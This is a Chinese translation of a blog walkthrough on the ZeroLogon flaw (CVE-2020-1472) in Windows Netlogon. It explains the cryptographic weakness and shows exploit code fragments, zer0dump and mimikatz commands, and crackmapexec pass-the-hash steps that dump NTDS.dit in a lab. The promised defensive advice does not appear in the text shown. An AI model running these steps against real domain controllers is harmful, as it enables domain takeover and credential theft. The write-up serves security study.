本文将从攻防角度对CVE-2020-1472进行一个简单的介绍,并对如何检测和修复ZeroLogon提出具体建议。
什么是ZeroLogon?
Netlogon远程协议(也称为MS-NRPC)是一个远程进程调用(RPC)接口,仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为,以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。
Zerologon漏洞也称为CVE-2020-1472,它影响MS-NRPC所使用的加密身份验证方案(AES-CFB8),该方案具有多种用途,但最广为人知的原因是更改计算机帐户密码的能力,这可能导致Windows被攻击。该漏洞影响重大,风险评分达10.0满分。微软已在8月Patch Tuesday安全更新中将之修复。美国国土安全部上周也发布今年第4次紧急指令(Emergency Directive),要求所有政府机构应在周一午夜前修复好该漏洞。
AES-CFB8的工作原理是,通过在明文前面添加一个16字节的初始化矢量(IV),然后将AES应用于IV和明文的前16个字节,并采用AES输出的第一个字节,来加密明文的每个字节,然后将其与下一个纯文本字节进行异或。
为什么这很重要?利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个,对全零的纯文本应用AESCFB8加密将导致全零的密文,从而启用登录绕过,这就是名称zerologon的来源。
攻击者的天堂
大多数PoC都将重点放在利用更改计算机帐户活动目录密码并利用它们建立资产立足点的能力上。利用它们来攻击域控制器,就像它们通常在域控制器AD组中一样,其权限通常高于标准权限,这可以启用具有较高权限的立足点并导致域管理员权限。
使用NetrServerPasswordSet2方法,可以为客户端创建一个新密码,该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成,后四个表示密码长度。通过提供516个零,它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。
大部分漏洞利用代码的工作原理是,向netlogon通道发送带有多个空字节的身份验证请求,然后发送一个零的密码文本和用于身份验证的质询标志,如以下代码段所示:
server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags )
如上所述,该攻击每256次尝试中就有1次起作用,因此至少需要256次身份验证尝试才能获得成功的利用条款,我见过的所有利用代码都将2000作为最大尝试,以确保0.04%的假阴性利用情况。下面的另一个代码片段显示了用于尝试对目标主机进行身份验证的for循环:
for attempt in range(0, MAX_ATTEMPTS): rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer) if rpc_con == None: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') plaintext = b'\x00' * 8 sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) print() blah = nrpc.hNetrServerPasswordSet2( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516 ) blah.dump()
但是,如果身份验证成功,则目标系统将以错误代码0进行响应,并导致计算机帐户的密码更改为空字符串。
在实验室环境中进行攻击测试
重要提示:在实时生产系统上执行这种攻击将中断域复制,通过代理中断域控制器,因此只能在你控制或能够回滚的实验室环境中执行。
现在谈论漏洞的工作原理很有必要,但是同样有趣的是它在环境中的工作方式。我的测试实验室环境由多种配置的Windows设备组成的:
域控制器
工作站
如果你有兴趣建立自己的实验环境,那么你实际上只需要一台域控制器和一台攻击设备,具体过程,请在此处点击查看。另外,还有一份建立家庭实验室的指南。
使用包括impacket在内的各种python脚本进行攻击需要满足一些先决条件,步骤如下:
1.下拉impacket并安装git clone
2.cd impacket和&python3 -m pip install
安装Impacket
接下来,下载该漏洞利用程序的副本,那里有多个PoC用于测试,包括具有zerologon模块的最新版mimikatz。我将分别演示PoC和mimikatz,首先介绍zer0dump::
1.git clone ;
2.cd zer0dump && sudo pip install -r requirements.txt。
安装要求
脚本选项
利用这个工具来防御一个域控制器非常简单:
python3 zer0dump.py 10.10.100.38,其中10.10.100.38是域控制器的IP地址。该脚本将执行几次登录尝试,如果攻击成功,则将返回一个管理员哈希,该哈希可以通过哈希攻击或被破解和利用!
漏洞利用
该漏洞利用程序将域中的NTDS.dit(保留了该域上所有用户的所有NTLM哈希值)转储到/tmp/dumped.tmp.ntds,并利用秘密转储来转出本地管理员密码,如上所示。此外,由于返回的错误代码为零,因此我们可以看到漏洞利用成功。管理员的哈希值已设置为空字符串,我们可以通过将哈希值传递给 john the ripper(John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。)来确认这一点:
可以通过使用诸如crackmapexec之类的工具传递哈希攻击来对网络上的其他计算机进行身份验证来进一步利用这一点。
cme smb 10.10.100.1/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Crackmap Exec被喷涂
由于我们是管理员,因此可以对此进行更多的武器化处理,并转储所有NTDS.dit以便稍后进行攻击:
cme smb 10.10.100.29 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --ntds
python脚本非常酷,但是mimikatz呢? Mimikatz可以加载到内存中或以多种方式运行,为了方便介绍,我将在实验室内的Windows计算机上运行它,你可以从GitHub获取源代码。
构建完成后,可以通过在终端窗口或资源管理器窗口中启动exe来运行它:
mimikatz 2.2.0 x64
通过mimikatz执行zerologon攻击所需的命令如下:
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$
这将引导mimikatz定位到DC2.purplehaze.defense,尤其是设备帐户DC2$。
主机容易受到攻击
如上图所示,主机确实很容易受到攻击,现在要利用该命令并附加/ exploit:
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$ /exploit
利用成功
就这么简单,是不是太可怕了。不过Mimikatz和zer0dump也不是唯一的版本,github上现在有大量的PoC!
Github PoC
现在,我们已经可以更改设备的密码了?
本文我们介绍了攻击原理,下一章我们将详细介绍可以发起的攻击种类。
本文翻译自:https://blog.zsec.uk/zerologon-attacking-defending/如若转载,请注明原文地址: